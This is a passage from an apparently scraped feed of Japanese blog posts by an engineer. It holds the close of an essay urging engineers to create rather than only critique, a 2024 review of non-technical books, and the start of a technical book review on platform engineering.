伴わない批判に終始してしまうことです。創造者には創造者としての責務があります。コードに不満があるならば、改善のプルリクエストを送ることができます。ドキュメントが不十分と感じるなら、具体的な改善案を示すことができます。アーキテクチャが気に入らないのであれば、より優れた実装を示す機会が開かれています。発表内容に不満があるというのなら、自らが登壇する選択肢もあります。これは単なる理想論ではありません。優れたエンジニアたちは、常にこの原則に従って行動してきました。彼らは単なる批判ではなく、コードで語ります。問題点の指摘だけではなく、改善案の実装を示します。時には厳しい指摘も必要ですが、それは常により良い方向への具体的な提案を伴うものでなければなりません。評論と批判は、建設的な議論の土台となり得ます。しかし、それは実装による貢献があってこそ意味を持つのです。評論家として批判するだけでなく、創造者として具体的な改善を示していく—それこそが、エンジニアの進むべき道筋なのではないでしょうか。みんなのフィードバック大全作者:三村 真宗光文社Amazonなぜ評論に逃げるのか実のところ、その理由は複雑に絡み合っています。一見すると創造する意欲が失われていくように見えますが、その背景にはさまざまな要因が存在します。まず、技術の進化スピードが年々加速していることが挙げられます。かつて最先端だった技術スタックは、わずか数年で「レガシー」と呼ばれるようになります。新しい技術への追従に疲れ、自信を失っていく—そんなベテランエンジニアの姿を、私たちは目にしてきました。また、組織の中での役割の変化も大きな要因となります。マネジメントやアーキテクトの立場になると、直接コードを書く機会が減っていきます。それは自然なキャリアパスかもしれませんが、同時に「作る」喜びから遠ざかることも意味します。さらに、以前の自分を超えられないという焦りもあるでしょう。若かりし頃に作り上げた素晴らしいプロダクトやライブラリ。その成功体験が重荷となり、新しいチャレンジを躊躇させることもあります。過去の栄光に縛られ、新たな失敗を恐れる—そんな心理が、評論という安全な場所への逃避を促します。そして、評論には誘惑があります。技術ブログへの評論記事は数時間で書け、発表資料への批判は数分で完結し、SNSなら数行のポストで事足ります。実装を伴う苦労も、メンテナンスの責任も、失敗のリスクも必要ありません。最も注意すべきは、その行為が「いいね」という即時の報酬と、表面的な自己肯定感をもたらすことです。賢明な分析家として認められ、技術の識者として扱われる。この心地よさが、さらなる評論への逃避を促していきます。他者への批判で得られる一時的な優越感は、しかし、本当の自己肯定感とは異なります。 建設的な創造による達成感こそが、エンジニアの誇りとなるべきものです。時には、組織の文化や環境も影響します。過度な品質要求や、失敗を許容しない雰囲気は、エンジニアを萎縮させ、批評家的な立場に追いやってしまうことがあります。新しいことへの挑戦よりも、既存のものを批評する方が「安全」だと感じてしまうのです。この悪循環は、技術コミュニティ全体に影響を及ぼします。建設的な議論が減少し、若手の挑戦する意欲が失われ、コミュニティの分断が進んでいきます。評論は容易でも、実際の改善は誰も行わない—そんな状況に陥っているのです。しかし、これは決して避けられない運命ではありません。技術の変化を恐れず、小さな一歩から始める勇気を持つこと。過去の成功や失敗にとらわれすぎず、新しい挑戦を続けること。そして何より、評論家としての安易な満足に甘んじないこと。それが、創造者としての道を歩み続けるための鍵となるのではないでしょうか。批評の教室 ──チョウのように読み、ハチのように書く (ちくま新書)作者:北村紗衣筑摩書房Amazon作る側の矜持エンジニアの本質的価値は、創造する能力にあります。 しかし、それは建設的な評論の価値を否定するものではありません。むしろ、創造と評論のバランスを保つことこそが、真のエンジニアとしての成熟を示すのかもしれません。不満な実装を見つけたのなら、より良いコードで示していきましょう。しかし、それは時として現実的ではないこともあります。そんなとき、具体的で建設的で受け入れやすいフィードバックは、それ自体が価値ある貢献となり得ます。資料に物足りなさを感じたのなら、自らより良い資料を書いていきましょう。ただし、すべての領域で自ら書き直すことは不可能です。そこでは、経験に基づいた示唆に富む指摘が、コミュニティの発展を支えることになります。エンジニアの成長は、実装による具体的な貢献を通じて実現されます。しかし、それは単独の作業ではありません。建設的なフィードバックの交換、経験の共有、そして時には適切な批評—これらの相互作用が、より良い実装を生み出す土台となります。重要なのは、創造と評論の適切なバランスです。他者のコードを批判するだけでなく、具体的な改善案を示すことができます。時には成果を否定したくなることもあるでしょうが、それを建設的なフィードバックへと昇華させることが大切です。また、自身の実装経験に基づいた説得力のある指摘は、コミュニティの発展に大きく寄与します。特に若手エンジニアに対しては、その成長を支援する温かい指摘を心がけたいものです。SNSでの浅薄な承認に価値を見出すのではなく、実装と建設的な評論の両輪で、技術コミュニティの発展に貢献していきましょう。それこそが、経験を積んだエンジニアとしての責務なのではないでしょうか。創造の喜びを忘れず、同時に適切な評論の価値も理解する—その両方を備えることで、私たちは真のエンジニアとしての成長を続けることができるのです。そして、それこそが技術コミュニティ全体の発展につながっていくはずです。批評理論を学ぶ人のために世界思想社Amazonおわりに「この文章自体も、評論ではないでしょうか」—そんな声が聞こえてきそうです。その通りです。私たちは、いずれ評論家になる運命から完全に逃れることはできないのかもしれません。年を重ねていったり、第一線を離れていく中で、評論的な視点は自然と身についていきます。それは、ある意味で技術者としての成熟の一面なのかもしれません。しかし、それでも私たちには選択の余地があります。評論に溺れるのか、それとも最後まで創造を続けるのか。私は後者を選びたいと思います。だからこそ、この文章を書き終えたら、すぐにコードを書きます。 プルリクエストを送り、ドキュメントを改善します。たとえ疲れてしまって楽な評論的な視点を持ったとしても、それを建設的な創造へと昇華させる努力を続けていきます。エンジニアは、創造することで価値を示せます。評論だけでは、成長は望めません。私たちは、作ることで命をつなぎます。 評論家という名の死に屈することなく。ついでにGitHubでもフォローしてくれ⋯github.com","isoDate":"2024-12-27T05:45:09.000Z","dateMiliSeconds":1735278309000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年 俺が愛した本たち 非技術書編(物語を除く)","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/25/084801","contentSnippet":"この記事は、3-shake Advent Calendar 2024 6日目のエントリ記事です。はじめにこんにちは、nwiizoです。2024年も終わりに近づいています。毎年恒例となった年末の読書振り返りの時期が来ました。今年はいつも以上に多くの本を読みましたが、その中でも技術書以外の本との出会いが、私の世界を大きく広げてくれました。哲学書、ビジネス書、社会科学書など、多岐にわたるジャンルの本に触れることで、新しい視点や考え方を学ぶことができました。なお、今回は物語やノンフィクションについては別の機会に譲り、主にビジネスや思考に関する本を中心にご紹介させていただきます。一見エンジニアリングとは関係のない本の中に、日々の仕事や課題解決に活かせるヒントが数多く隠れていることに気づかされた一年でもありました。本を読むことは知識を得るだけでなく、物事を多角的に捉える力を育んでくれます。様々な分野の本に触れることで、自分の思考の幅が広がり、新しいアイデアや解決策が浮かぶようになってきたように感じています。...とここまで偉そうに書きましたが、実際のところ私は「へぇ~、そうなんだ」とか「なるほど、そういう考え方もあるのか」くらいの気持ちで本を読んでいます。この記事では、2024年に私の心に深く刻まれた非技術書をご紹介したいと思います。これらの本との出会いが、読者の皆さんの新たな読書体験のきっかけになれば幸いです。はじめに昨年以前に紹介した本BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?High Conflict よい対立 悪い対立 世界を二極化させないために「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論THINK BIGGER 「最高の発想」を生む方法「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術勘違いが人を動かす――教養としての行動経済学入門おわりに昨年以前に紹介した本syu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comBIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?世間を賑わせたメガプロジェクトの成功と失敗について掘り下げた本です。何が面白いって、メガプロジェクトというのはほぼ確実に上手くいかないのです。予算はオーバーし、納期は遅れ、最後には利益も出ない。しかも規模が大きいだけに、失敗のインパクトも半端ない。でも、そんな中でもたまに劇的に成功するプロジェクトがある。本書は、その差は一体どこにあるのかを探っています。著者が紹介する成功への要因は意外とシンプルです。「ゆっくり考え、すばやく動く」という原則や、「レゴを使ってつくる」という具体的な可視化の手法、「マスタービルダーを雇う(専門家を頼る)」といった実践的なアプローチが示されています。実は、この本の面白さは二重構造になっています。壮大なプロジェクトの成功と失敗の物語として読むと純粋に面白いのですが、自分が経験したことがあるプロジェクトに重ねて読むと...(ちょっと考え込む)まあ、そこは各自の想像にお任せします。特に印象的だったのは、大規模プロジェクトの教訓が、実は小規模なプロジェクトにも当てはまるという指摘です。例えば「小さく試し、成功したら拡大する」というアプローチは、ビジネスからアート、果ては生物の進化まで、不確実性と向き合うあらゆる分野で見られる原則なんですよね。何か新しいことに挑戦しようと考えている人には、特におすすめの一冊です。ただし、現在進行形でプロジェクトの真っ只中にいる人は、読むタイミングを少し考えた方がいいかもしれません。なんてったって、成功率0.5%という現実を突きつけられますからね。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版AmazonHigh Conflict よい対立 悪い対立 世界を二極化させないために対立には2つの種類があるということを、この本は教えてくれます。健全な対立は、私たちの成長を促し、相互理解と向上につながります。一方で、不健全な対立(ハイコンフリクト)は、「私たち対彼ら」という二項対立に陥り、問題の本質とは関係のない揚げ足取りや感情的な対立を引き起こします。読んでいて特に対立は感情の問題ではなく、構図の問題だという指摘が印象に残りました。私たちは「相手の感情を変えなければ」と思いがちですが、実は解決すべきは対立という構造そのものなんですね。本書が提案する解決策も興味深いものでした。従来の「逃げる」「戦う」「我慢する」という3つの方法ではなく、第四の道を示してくれます。それは、最終的な意見の一致を目指すのではなく、お互いの話に真摯に耳を傾けること。意見は違っていても、自分の話をちゃんと聞いてもらえたと全員が感じられれば、それが健全な対話への第一歩になるというわけです。読んでいて「よい対立」というのは、実は「よい対話」のことなのかもしれないと思いました。相手と自分の違いを楽しみながら、お互いの考えを知ろうとする姿勢。それが結果的に、建設的な関係性を築くヒントになるのではないでしょうか。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazonただし、これは理想論に聞こえるかもしれません。実際の現場では、感情的になったり、相手の話を遮ってしまったりすることは日常茶飯事です。でも、だからこそ、この本が教えてくれる対立の構造を理解し、より良い対話を目指すヒントは、とても価値があると感じました。High Conflict よい対立 悪い対立 世界を二極化させないために作者:アマンダ・リプリーディスカヴァー・トゥエンティワンAmazon「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論「休むこと」に罪悪感を覚える社会の呪縛について、深い洞察を投げかける一冊です。著者は、「怠惰は悪である」という私たちの思い込みが、実は資本主義社会が生み出した幻想だと指摘します。人の価値は生産性では測れないという当たり前だけど忘れがちな事実です。「もっとできるはずだ」「自分の限界を信じるな」といった私たちが \"真実\" だと思い込んでいる考えが、実は \"ウソ\" かもしれないと思わされます。働くということ 「能力主義」を超えて (集英社新書)作者:勅使川原真衣集英社Amazon特に印象的だったのは、休息は \"サボり\" ではなく、むしろ脳を活性化させる大切な時間だという指摘です。何もしていないように見える時間こそ、実は新しいアイデアが生まれる瞬間だったりします。実はこれは、近年増加している燃え尽き症候群の問題とも深く関係しています。休むことを後ろめたく感じ、常に生産的でなければならないというプレッシャーは、私たちのメンタルヘルスに大きな影響を与えているのです。心療内科医が教える本当の休み方作者:鈴木 裕介アスコムAmazonこれは昨年話題になった『なぜ私たちは燃え尽きてしまうのか』という本でも指摘されていました。バーンアウトは単なる個人の弱さの問題ではなく、仕事が私たちのアイデンティティそのものになってしまっているという、現代社会の構造的な問題なのだと。なぜ私たちは燃え尽きてしまうのか作者:ジョナサン マレシック青土社Amazon実は私も、「もっと頑張れるはずだ」と自分を追い込むタイプでした。でも、そんな生き方って本当に正しいのかな?と考えるきっかけをくれた本です。生産性や成果だけが人生の価値を決めるわけじゃない。この当たり前の事実に、改めて気づかされました。この本は、急がなくていい、そんなに頑張らなくていいと、優しく語りかけてくれます。そして、それは決して「怠けていい」という意味ではなく、むしろ自分らしく、人間らしく生きるための大切な気づきなのだと教えてくれるのです。「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論作者:デヴォン・プライスディスカヴァー・トゥエンティワンAmazonTHINK BIGGER 「最高の発想」を生む方法この本は、私たちの「創造性」に対する多くの思い込みを覆してくれる一冊です。「天才のひらめき」という美しい物語は、実は幻想かもしれないという衝撃的な指摘から始まります。著者によれば、イノベーションの本質は「新しいアイデアを無から生み出すこと」ではなく、「既存のアイデアを新しく組み合わせること」なのだそうです。例えば、ピカソが天才的なアーティストとされるのは、同時代の画家マティスとアフリカのビリ人による彫像を巧みに組み合わせて、キュビスムという新しい芸術様式を生み出したからなんですね。この点について、私は広告界の巨人ジェームス・W・ヤングの『アイデアのつくり方』(1940年)から学びました。ヤングは「新しいアイデアとは、既存の要素の新しい組み合わせ以外の何物でもない」と述べています。そして私は、その組み合わせを見つけるには、事物の関連性を見つけ、組み合わせを試行錯誤することが重要だと考えています。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon特に印象的だったのは、私たちが「創造性を高める」と信じている方法の多くが、実は科学的な根拠に欠けているという指摘です。ブレインストーミングの効果は研究で否定されているとか、オフィス空間を奇抜にしても創造性は上がらないとか。むしろ大切なのは、様々な素材を一つ一つ心の解像度を上げて捉え、向き合うこと。そして、それらの関係性を探り出すことなのです。著者は、アイデアの創造プロセスについて興味深い観察を示してくれます。何気ない見聞き、例えば電車に乗っているとき、風呂に入っているとき、トイレのときなど、ふとした瞬間にアイデアが心の中で飛び込んでくる。でも、これは実は偶然ではなく、それまでの地道な素材集めと向き合いの結果なんだそうです。THINK BIGGER 「最高の発想」を生む方法:コロンビア大学ビジネススクール特別講義 (NewsPicksパブリッシング)作者:シーナ・アイエンガーニューズピックスAmazonこの本は、世の中に溢れている「創造性神話」を丁寧に解きほぐしながら、誰もが実践できる方法論を示してくれます。アイデアを生むには、まず問題を無意識の中で整理し、忘れたような状態にすることも大切なんですね。そして何より、「天才のひらめき」を待つのではなく、地道に知識を蓄え、既存のアイデアを組み合わせていく。そんな着実なアプローチこそが、実は最も創造的な方法なのかもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策コミュニケーションの失敗の原因を、認知科学の視点から解き明かしてくれる一冊です。著者は、「話せばわかる」という私たちの思い込みが、実は幻想かもしれないと指摘します。人は自分の都合のいいように誤解する生き物だという指摘です。これは、相手が「悪意を持って誤解している」わけではなく、むしろ 私たち一人一人が持つ「知識や思考の枠組み(スキーマ)」が異なるために起こる自然な現象なんだそうです。例えば、同じ「ネコ」という言葉を聞いても、人によって思い浮かべる映像は全く違います。これと同じように、ビジネスの現場でも、私たちは知らず知らずのうちに、自分のスキーマを通して相手の言葉を解釈しているのです。著者は、コミュニケーションの達人になるためのヒントも示してくれます。ポイントは、「失敗を成長の糧にする」「説明の手間を惜しまない」「相手をコントロールしようとしない」「聞く耳を持つ」といった心構えです。これは決して「相手に合わせろ」という話ではなく、むしろお互いの違いを認識した上で、どう理解し合えるかを考えることの大切さを教えてくれます。この本は、日々のコミュニケーションで「なんでわかってくれないんだろう」と悩む私に、とても実践的なヒントを与えてくれました。結局のところ、完璧な伝達は不可能で、むしろ誤解や聞き違いを前提に、どうコミュニケーションを取るかを考えることが大切なのかもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonイシューからはじめよ[改訂版]――知的生産の「シンプルな本質」この本は私にとって特別な一冊です。「今この局面でケリをつけるべき問題」を見極めることの大切さを教えてくれた、まさにバイブルと呼べる存在でした。今回の読書振り返りを書くにあたっても、「何を伝えるべきか」を考える際の指針となってくれています。本書の核心は、「真に価値のある仕事は、イシューの設定から始まる」というものです。世の中には問題が山積みですが、その中で「今、本当に答えを出すべき」かつ「答えを出す手段がある」問題は、実はごくわずかです。優れた知的生産には分野を超えて共通の手法があると本書は教えてくれます。ビジネスでも、研究でも、アートでも、本質的な問題を見極めることから始めるという原則は変わりません。これは『熟達論―人はいつまでも学び、成長できる』でも同様の指摘がされています。分野は違えど、真に優れた実践者たちには共通のパターンがあるのです。それは問題の本質を見抜き、そこに向けて地道な努力を重ねる姿勢です。両書を読み進めるうちに、自分の中で「イシュー」を見極めることと「熟達」することの間に深いつながりがあることを感じました。熟達論―人はいつまでも学び、成長できる―作者:為末大新潮社Amazonこの気づきは私の学びの姿勢を大きく変えました。以前は目の前の課題に対して「とにかくやってみる」というアプローチでしたが、今は必ず立ち止まって「本当のイシューは何か」を考えるようになりました。そして、そのイシューに向き合う中で、自分自身の熟達度も少しずつ上がっていくような気がしています。また、本書では「課題解決の2つの型」について深く掘り下げています。ギャップフィル型(あるべき姿が明確な場合)と、ビジョン設定型(そもそもあるべき姿を見極める必要がある場合)という分類は、単なる理論的な整理ではありません。これは実践の場で直面する様々な課題に対して、どのようなアプローチを取るべきかを示す羅針盤となってくれます。多くの失敗は、この2つの型を取り違えることから始まるのかもしれません。今年の読書でも、この本で学んだ「イシューからはじめる」という考え方が、本の選び方や読み方に大きな影響を与えています。一見バラバラに見える本たちも、実は私なりの「イシュー」に基づいて選んでいたことに、この振り返りを書きながら気づきました。それぞれの本が、異なる角度から私の中の「イシュー」に光を当ててくれていたのです。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazon会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術この本との出会いは、私の会話に対する考え方を大きく変えてくれました。「人は他人の話に興味がない」という荒々しいけれど正直な前提から始まり、そこから真摯に「ではなぜ人は会って話すのか」を探っていく展開に引き込まれました。本書で最も印象的だったのは、「外にあるものを一緒に見つめる」という会話の本質についての洞察です。自分のことを話したり、相手のことを聞き出したりする必要はない。むしろ、お互いの外にあるものに目を向け、新しい風景を一緒に発見することが、会話の醍醐味なのだと。実は最近、NON STYLE 石田さんの「答え合わせ」や令和ロマン・髙比良くるまさんの「漫才過剰考察」にハマっていて、面白い掛け合いの「仕組み」についてかなり考えていました。答え合わせ(マガジンハウス新書)作者:石田明マガジンハウスAmazonでも本書を読んで、会話の本質は必ずしもそういった技術的な部分だけではないことに気づかされました。巧みなツッコミやテンポのいい掛け合いも素晴らしいけれど、二人で同じ風景を見つめて「へぇ」と言い合えるような静かな会話にも、また違った味わいがあるんですね。漫才過剰考察作者:令和ロマン・髙比良くるま辰巳出版Amazonこれまで私は「相手に興味を持ってもらえるような話をしなきゃ」「相手の話をもっと引き出さなきゃ」と、どこか力んでいた気がします。でも、本書はそんな会話の構えをすべて取り払ってくれました。漫才のようにオチを付ける必要もない。ツッコミも不要。むしろ、ボケにボケを重ねて「今なんの話してたっけ?」となる方が、会話として自然なのかもしれません。会話は決して「相手を理解する」「自分を理解してもらう」ためのものではない。そう割り切ることで、むしろ自然な会話が生まれる。この逆説的な知恵が、私の日々の会話をより楽しいものにしてくれています。会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術作者:田中 泰延ダイヤモンド社Amazon勘違いが人を動かす――教養としての行動経済学入門人はとても愚か。「人は論理や情熱ではなく、認知バイアスによって動く」という衝撃的な視点を示してくれる一冊です。その象徴的な例が、男性用トイレの小便器にハエのマークを描くと飛び散りが激減する「ハウスフライ効果」。私たちは意外なほど、こういった「勘違い」によって行動が変わってしまう生き物なんですね。本書は、普段の生活で遭遇する様々な認知バイアスについて、豊富な事例とともに解説してくれます。例えば、カジノが現金ではなくチップを使う理由。実は、チップを使うと現金を使う時より負けた時の痛みを感じにくくなるそうです。さらにカーペットを長めにして歩くスペードを遅くさせたり、出口への最短ルートをわかりにくくしたり...。私たちの行動を操る仕掛けが、至る所に張り巡らされているんです。特に印象的だったのは、「予期的後悔」についての指摘です。私たちは「将来後悔するかもしれない」という不安から、決断を先送りにしがちです。でも実は、人は将来の感情を過大評価する傾向があり、実際の後悔は想像よりもずっと小さいものだとか。この点については、『変化を嫌う人を動かす』という本でも深く掘り下げられています。人が変化を受け入れられない理由として「惰性」「労力」「感情」「心理的反発」という4つの要因があるそうです。両書を併せて読むことで、人がなぜ現状維持バイアスに縛られやすいのか、より立体的に理解できました。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon本書を読んで、自分の行動の多くが実は「論理的な判断」ではなく「認知バイアス」によって左右されていることを実感しました。この気づきは、自分の意思決定を見直すきっかけになると同時に、他者の行動をより深く理解することにもつながります。賢明なのは、これらのバイアスと戦うことではなく、その存在を認識した上で、うまく付き合っていくことなのかもしれません。勘違いが人を動かす――教養としての行動経済学入門作者:エヴァ・ファン・デン・ブルック,ティム・デン・ハイヤーダイヤモンド社Amazonおわりに今年の読書を振り返ってみると、一つの大きなテーマが浮かび上がってきました。それは「人はいかに自分の思い込みに縛られているか」ということです。私たちは普段、意識せずに様々な思い込みの中で生活しています。でも、新しい本と出会うたびに、そんな「当たり前」が少しずつ揺さぶられていくような体験をしました。「へぇ~、そうなんだ」という素直な驚きから始まった読書でしたが、振り返ってみると、それぞれの本が不思議と響き合って、より深い気づきをもたらしてくれたように思います。理論的な本を読んでは実践的な本で確認し、個人的な視点の本を読んでは社会的な視点の本で補完する。そんな読書の往復運動の中で、自分の視野が少しずつ広がっていくのを感じました。来年も、このように自分の「思い込み」を優しく解きほぐしてくれるような本との出会いを楽しみにしています。そして、その体験をまた皆さんと共有できればと思います。最後まで読んでいただき、ありがとうございました。","isoDate":"2024-12-24T23:48:01.000Z","dateMiliSeconds":1735084081000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年 俺が愛した本たち 技術書編","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/23/174750","contentSnippet":"この記事は、3-shake Advent Calendar 2024 24日目のエントリ記事です。はじめにこんにちは、nwiizoです。2024年も残りわずかとなりました。年の瀬に差し掛かるこの時期、1年の歩みを振り返り、時の流れを見つめ直すことは、私にとって特別な意味を持っています。今年は特に、技術書との関わり方に大きな変化がありました。本を紹介する投稿する中で、技術書のみならず、さまざまな分野の書籍を読む機会が大幅に増えました。私の書斎は、いつの間にか技術書のデータセンターと化しました。サーバーラックの代わりに本棚が整然と並び、それぞれの棚には未読の本という名のサーバーがぎっしりと配置されています。これらの「サーバー」は、24時間365日、知識というバックグラウンドプロセスを静かに実行し続けています。既にメモリの使用率は常に100%ですが、まだ、クラッシュすることはありません。クラッシュしたら次の年はこの文章を読むことができません。特に今年は、技術書との向き合い方を見つめ直した1年でした。これまでのように「量」を追い求めるのではなく、一冊一冊を深く理解し、質を重視することに注力しました。技術書は単なる情報の集合体ではなく、先人たちの経験や洞察が凝縮された知恵の結晶です。その知恵を丁寧に咀嚼し、自分の中に取り込む過程が、エンジニアとしての成長に直結することを改めて実感しました。この記事では、2024年に私が出会い、心を揺さぶられた技術書たちを厳選してご紹介します。これらの書籍が、読者の皆様に新たな発見と学びをもたらすきっかけになれば幸いです。はじめに昨年以前に紹介した本2024年に読んでよかった技術書Platform Engineering on KubernetesPlatform EngineeringContinuous DeploymentCloud Observability in ActionLearning OpenTelemetryBecoming SREFundamentals of Data EngineeringTidy First?ソフトウェア開発現場の「失敗」集めてみた。42の失敗事例で学ぶチーム開発のうまい進めかたプログラミングRust 第2版Effective Rustバックエンドエンジニアを目指す人のためのRustReal World HTTP 第3版【改訂新版】システム障害対応の教科書GitHub CI/CD実践ガイドおわりに昨年以前に紹介した本syu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.com2024年に読んでよかった技術書今年も、私の知識データベースは絶え間なく更新され続けました。読書から得た知識は、ソフトウェアエンジニアとしての実務という名のプロダクション環境で厳密にテストされ、その成果は、いくつかの技術イベントでの登壇という形でデプロイされました。幸いにも、これまでクリティカルな障害が発生したことはありません。私の脳内APIは、多くの技術書から寄せられるリクエストを処理し続けています。レスポンスタイムは決して速いとは言えませんが、スループットは着実に向上しています。そして以下では、2024年に私の知識基盤に大きなアップデートをもたらした技術書を紹介します。これらの書籍は、私に新しい視点やスキルを与え、成長の助けとなりました。speakerdeck.comPlatform Engineering on Kubernetes「Platform Engineering on Kubernetes」は、クラウドネイティブ時代のプラットフォームエンジニアリングの本質と実践を包括的に解説した一冊です。本書は、単なるKubernetesの解説書を超えて、現代のソフトウェア開発組織が直面する課題とその解決策を体系的に示しています。Platform Engineering on Kubernetes (English Edition)作者:Salatino, MauricioManningAmazon本書の核心は、「なぜKubernetes上にプラットフォームを構築する必要があるのか」という根本的な問いに対する答えを提示している点です。著者は、複数のチームが関わり、複数のクラウドプロバイダーへのデプロイを行い、異なるスタックを扱う組織では、Kubernetesの導入だけでは不十分であることを説き、プラットフォームエンジニアリングによってこれらの課題を技術的・組織的に解決する方法を示しています。特に印象的なのは、プラットフォームチームと開発チームの協調に関する著者の洞察です。プラットフォームは単なる技術的な基盤ではなく、開発者の生産性を最大化し、ビジネス価値の迅速な提供を可能にする戦略的な資産として位置づけられています。これは、DevOpsの理想をクラウドネイティブ時代に実現するための具体的なアプローチと言えます。本書は、概念的な解説に留まらず、実践的なステップバイステップのガイドも提供しています。カンファレンスアプリケーションというサンプルを通じて、プラットフォームの設計から実装、運用までを一貫して学ぶことができます。これにより、読者は理論と実践の両面から、プラットフォームエンジニアリングの本質を理解できます。また、本書はCrossplane、ArgoCD、Dapr、OpenFeatureなど、現代のクラウドネイティブツールの活用法も詳しく解説しています。これらのツールを適切に組み合わせることで、開発者体験の向上とインフラストラクチャの効率化を両立できることが示されています。この本を読み進める中で、プラットフォームエンジニアリングが単なる技術的な取り組みを超えて、組織全体のデジタルトランスフォーメーションを推進する原動力となり得ることを実感しました。著者の提示する知見は、エンジニアリング組織の次なるステージを考える上で、貴重な指針となるでしょう。「Platform Engineering on Kubernetes」では、プラットフォームエンジニアリングの技術的側面について深く解説されています。しかし、内部開発者向けのプラットフォームも一つのプロダクトとして捉え、その価値提供を最適化していく視点も重要です。そこで、以下の書籍との併読をお勧めします。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazon「プロダクトマネジメントのすべて」は、プロダクトの企画から運用、改善までを包括的に解説した決定版です。本書を通じて、プラットフォームを一つのプロダクトとして捉え、ユーザーである開発者の体験を最適化していくための方法論を学ぶことができます。さらに、プラットフォームチームがどのようにステークホルダーと協働し、組織全体の価値を最大化していくかについても、実践的な知見を得ることができます。両書を組み合わせることで、技術とプロダクトマネジメントの両面から、より効果的なプラットフォームエンジニアリングの実践が可能になるでしょう。Platform Engineering「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドです。技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれており、個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと感じました。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO'Reilly MediaAmazon「Platform Engineering on Kubernetes」がKubernetesを基盤とした技術的な実装と運用に重点を置いているのに対し、本書はプラットフォームエンジニアリングをより広い文脈で捉え、組織的・人的側面にも深く踏み込んでいます。例えば、プラットフォームチームの組織的な位置づけ、ステークホルダーとの関係構築、プラットフォーム提供者と利用者の協力関係の構築など、「Platform Engineering on Kubernetes」では詳しく触れられていない領域をカバーしています。特に注目すべきは、本書がプラットフォームの成功を技術的な完成度だけでなく、組織全体への価値提供という観点から評価している点です。プラットフォームの採用を促進し、持続可能な運用を実現するためには、技術的な卓越性に加えて、組織的な課題への対応も重要であることを説いています。そのため、両書を併読することで、技術的な実装から組織的な展開まで、プラットフォームエンジニアリングの全体像を把握することができます。本書を読む前に、「Team Topologies」を一読することを強くお勧めします。「Team Topologies」は、現代のソフトウェア開発組織における効果的なチーム構造とその相互作用のパターンを提示しており、プラットフォームチームの位置づけや役割を理解する上で不可欠な知見を提供してくれます。この基礎的な理解があることで、本書で展開されるプラットフォームエンジニアリングの実践論をより深く理解することができます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon著者の豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求しています。それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしている点が特徴的です。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。最後に、読者として強く感じたのは、プラットフォームエンジニアリングが単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。本書で提示されているプラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。特に重要なのは、組織の規模や成熟度に応